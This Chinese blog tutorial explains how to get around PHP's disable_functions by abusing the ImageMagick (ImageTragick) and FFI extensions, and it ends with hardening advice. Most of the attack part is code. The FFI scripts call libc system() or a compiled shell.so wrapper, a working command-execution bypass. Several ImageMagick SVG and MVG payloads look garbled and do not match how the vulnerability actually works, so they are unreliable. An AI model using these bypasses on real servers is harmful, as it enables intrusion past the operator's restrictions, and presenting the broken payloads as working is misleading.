PHP disable_functions绕过:利用ImageMagick或FFI扩展执行系统命令

PHP disable_functions绕过:利用ImageMagick或FFI扩展执行系统命令

大家好,今天我们来深入探讨一个PHP安全领域的重要议题:如何绕过disable_functions的限制,并利用ImageMagick或FFI扩展执行系统命令。disable_functions是PHP为了增强安全性而提供的一项配置,用于禁用一些潜在的危险函数,例如systemexecshell_exec等。 然而,安全并非绝对,攻击者总是试图找到绕过限制的方法。

disable_functions的原理与局限性

disable_functions的配置位于php.ini文件中,可以指定一个用逗号分隔的函数列表。PHP在执行代码时,会检查调用的函数是否在禁用列表中,如果在,则会抛出一个错误。

局限性在于:

  • 它只能禁用PHP内置函数和扩展提供的函数,无法阻止通过其他方式执行系统命令,例如利用扩展的漏洞。
  • 如果扩展本身存在漏洞,攻击者可以通过该漏洞执行任意代码,进而绕过disable_functions
  • 对于一些动态加载的扩展,如果disable_functions设置在扩展加载之后才生效,可能存在绕过的机会。

ImageMagick简介及安全风险

ImageMagick是一个强大的图像处理工具,支持多种图像格式,并提供了丰富的命令行工具。PHP可以通过imagick扩展与ImageMagick进行交互。

然而,ImageMagick的历史上存在多个安全漏洞,其中最著名的就是"ImageTragick"漏洞(CVE-2016-3714)。该漏洞允许攻击者通过构造恶意的图像文件,执行任意系统命令。

利用ImageMagick绕过disable_functions

即使systemexec等函数被禁用,如果imagick扩展可用,并且ImageMagick的版本存在漏洞,就可以利用ImageTragick等漏洞绕过disable_functions

绕过步骤:

  1. 检测ImageMagick版本: 首先需要确定服务器上安装的ImageMagick版本,以及是否存在已知的安全漏洞。可以通过imagick::getVersion()方法获取版本信息,或者直接尝试利用漏洞进行测试。

    <?php
    if (extension_loaded('imagick')) {
        $imagick = new Imagick();
        $version = $imagick->getVersion();
        print_r($version);
    } else {
        echo "imagick extension is not installed.";
    }
    ?>
  2. 构造恶意图像文件: 根据漏洞的类型,构造包含恶意命令的图像文件。例如,对于ImageTragick漏洞,可以构造一个包含msl:协议的图像文件,其中包含要执行的命令。

    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'msl:poc.svg'
    pop graphic-context

    poc.svg的内容:

    <image xmlns="http://www.w3.org/2000/svg" width="640" height="480" version="1.1">
        <rect width="640" height="480" fill="white"/>
        <image href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NDAiIGhlaWdodD0iNDgwIj48cmVjdCB3aWR0aD0iNjQwIiBoZWlnaHQ9IjQ4MCIgZmlsbD0id2hpdGUiLz48L3N2Zz4K" x="0" y="0" width="640" height="480"/>
        <text x="10" y="20">Exploit</text>
    </image>
    <script type="text/xml-script" xlink:href="https://example.com/xxe.xml"/>
    <image xlink:href="https://example.com/image.jpg" x="0" y="0" width="640" height="480"/>
    <![CDATA[
        <image xlink:href="; echo vulnerable > /tmp/test;"/>
    ]]>

    更简单的poc.svg

    <?xml version="1.0" encoding="UTF-8"?>
    <svg xmlns="http://www.w3.org/2000/svg" version="1.1">
        <image xlink:href="; system('id > /tmp/output');" x="0" y="0" height="500" width="500"/>
    </svg>

    或者

    <?xml version="1.0" encoding="UTF-8"?>
    <svg xmlns="http://www.w3.org/2000/svg" version="1.1">
    <image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href=";echo "shell_exec('id') > /tmp/shell.php";" x="0" y="0" height="500" width="500"/>
    </svg>
  3. 利用imagick扩展处理图像: 使用imagick扩展加载并处理恶意图像文件,触发漏洞,执行系统命令。

    <?php
    if (extension_loaded('imagick')) {
        $image = new Imagick();
        $image->readImage('msl:poc.svg'); // 或者其他包含恶意命令的图像文件
        $image->writeImage('output.png');
        $image->clear();
        $image->destroy();
        echo "Image processed.";
    
        // 验证命令是否执行成功
        if (file_exists('/tmp/test')) {
            echo "<br>Vulnerable!";
            echo "<pre>";
            echo file_get_contents('/tmp/test');
            echo "</pre>";
        } else {
            echo "<br>Not vulnerable or command failed.";
        }
    
        if (file_exists('/tmp/output')) {
            echo "<br>Command executed!";
            echo "<pre>";
            echo file_get_contents('/tmp/output');
            echo "</pre>";
        } else {
            echo "<br>Command execution failed.";
        }
    } else {
        echo "imagick extension is not installed.";
    }
    ?>

FFI(Foreign Function Interface)简介及安全风险

FFI允许PHP代码调用C语言函数,这为绕过disable_functions提供了另一种可能性。FFI扩展允许PHP直接调用动态链接库(.so或.dll)中的函数。

安全风险在于:

  • 如果攻击者能够上传或创建包含恶意C代码的动态链接库,并使用FFI调用其中的函数,就可以执行任意代码。
  • 即使没有上传权限,如果服务器上存在一些可以利用的动态链接库,攻击者也可以通过FFI调用其中的函数,绕过disable_functions

利用FFI绕过disable_functions

利用FFI绕过disable_functions通常需要以下步骤:

  1. 加载动态链接库: 使用FFI::load()FFI::cdef()函数加载动态链接库。FFI::load()直接从文件加载库,而FFI::cdef()允许定义C函数的接口,然后再加载库。

  2. 定义C函数接口: 如果使用FFI::cdef(),需要定义要调用的C函数的接口,包括函数名、参数类型和返回值类型。

  3. 调用C函数: 使用FFI对象调用C函数,传递相应的参数。

  4. 执行系统命令: 通过调用C标准库中的system函数或者其他可以执行系统命令的函数,绕过disable_functions

绕过示例:

假设服务器上存在libc.so.6,并且system函数没有被禁用(即使system在php.ini中被禁用, C的标准库中的system函数仍然存在,FFI绕过正是利用这一点):

<?php
if (FFI::isAvailable()) {
    try {
        $ffi = FFI::cdef(
            "int system(const char *command);",
            "libc.so.6" // 或者其他包含system函数的库
        );

        $command = "id > /tmp/ffi_output";
        $ffi->system($command);

        echo "Command executed through FFI.";

        if (file_exists('/tmp/ffi_output')) {
            echo "<br>Command executed!";
            echo "<pre>";
            echo file_get_contents('/tmp/ffi_output');
            echo "</pre>";
        } else {
            echo "<br>Command execution failed.";
        }

    } catch (FFIException $e) {
        echo "FFI error: " . $e->getMessage();
    }
} else {
    echo "FFI is not available.";
}
?>

另一种方法,直接使用FFI::load

<?php
if (FFI::isAvailable()) {
    try {
        $libc = FFI::load("/lib/x86_64-linux-gnu/libc.so.6"); // 替换为实际路径

        $command = "id > /tmp/ffi_output";
        $libc->system($command);

        echo "Command executed through FFI.";

        if (file_exists('/tmp/ffi_output')) {
            echo "<br>Command executed!";
            echo "<pre>";
            echo file_get_contents('/tmp/ffi_output');
            echo "</pre>";
        } else {
            echo "<br>Command execution failed.";
        }

    } catch (FFIException $e) {
        echo "FFI error: " . $e->getMessage();
    }
} else {
    echo "FFI is not available.";
}
?>

如果目标环境没有libc.so.6,或者无法确定其路径,可以尝试创建一个简单的C动态链接库,其中包含system函数的包装器。

  1. 创建C代码文件(shell.c):

    #include <stdlib.h>
    
    int my_system(const char *command) {
        return system(command);
    }
  2. 编译C代码为动态链接库:

    gcc -shared -o shell.so shell.c
  3. PHP代码利用FFI调用my_system函数:

    <?php
    if (FFI::isAvailable()) {
        try {
            $ffi = FFI::cdef(
                "int my_system(const char *command);",
                "shell.so" // 替换为实际路径
            );
    
            $command = "id > /tmp/ffi_output";
            $ffi->my_system($command);
    
            echo "Command executed through FFI.";
    
            if (file_exists('/tmp/ffi_output')) {
                echo "<br>Command executed!";
                echo "<pre>";
                echo file_get_contents('/tmp/ffi_output');
                echo "</pre>";
            } else {
                echo "<br>Command execution failed.";
            }
    
        } catch (FFIException $e) {
            echo "FFI error: " . $e->getMessage();
        }
    } else {
        echo "FFI is not available.";
    }
    ?>

需要注意的是,这需要上传shell.so的权限,这通常比绕过disable_functions本身更难实现。但如果存在文件上传漏洞,或者其他方式可以写入文件,就可以利用这种方法。

防御措施

为了防止利用ImageMagick或FFI绕过disable_functions,可以采取以下措施:

  • 更新ImageMagick: 及时更新ImageMagick到最新版本,修复已知的安全漏洞。
  • 配置ImageMagick策略: 配置ImageMagick的策略文件(policy.xml),禁用不必要的协议,例如msl:ephemeral:等。 限制能够处理的文件类型。
  • 禁用imagick扩展: 如果不需要使用ImageMagick,可以禁用imagick扩展。
  • 禁用FFI扩展: 如果不需要使用FFI,可以禁用FFI扩展。
  • 限制文件上传: 严格限制文件上传的类型和大小,防止上传恶意图像文件或动态链接库。
  • 安全审计: 定期进行安全审计,检查服务器配置和代码是否存在安全漏洞。
  • 使用Web应用防火墙(WAF): WAF可以检测和阻止恶意的HTTP请求,例如包含恶意命令的图像文件。
  • Chroot Jail: 将PHP进程限制在一个受限的目录中,阻止其访问系统其他部分。
  • AppArmor/SELinux: 使用这些Linux安全模块可以更细粒度地控制PHP进程的权限。

代码案例:策略文件配置

以下是一个示例的ImageMagick策略文件(policy.xml),用于禁用一些危险的协议:

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="HTTP" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="TXT" />
  <policy domain="coder" rights="read|write" pattern="PNG" />
  <policy domain="coder" rights="read|write" pattern="JPG" />
  <policy domain="coder" rights="read|write" pattern="JPEG" />
</policymap>

代码案例:检测FFI是否可用的代码

<?php
if (FFI::isAvailable()) {
    echo "FFI is available.";
} else {
    echo "FFI is not available.";
}
?>

表格总结

绕过方式 依赖条件 防御措施
ImageMagick imagick扩展可用,ImageMagick版本存在漏洞 更新ImageMagick,配置策略文件,禁用imagick扩展,限制文件上传,使用WAF
FFI FFI扩展可用,能够加载动态链接库(例如libc.so.6或自定义的.so 禁用FFI扩展,限制文件上传,Chroot Jail, AppArmor/SELinux, 安全审计,配置disable_functions,使用WAF
其他扩展漏洞 其他扩展存在可利用的漏洞 及时更新扩展,禁用不必要的扩展,安全审计,配置disable_functions,使用WAF

ImageMagick和FFI只是两种绕过disable_functions的示例。其他的扩展也可能存在漏洞,攻击者可以利用这些漏洞执行任意代码。因此,需要全面地考虑安全风险,采取多层次的防御措施。

核心思想:扩展的安全风险与防御

disable_functions 只是安全防御的第一道防线。真正的安全需要从根本上避免漏洞的产生,并采取多层次的防御措施。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注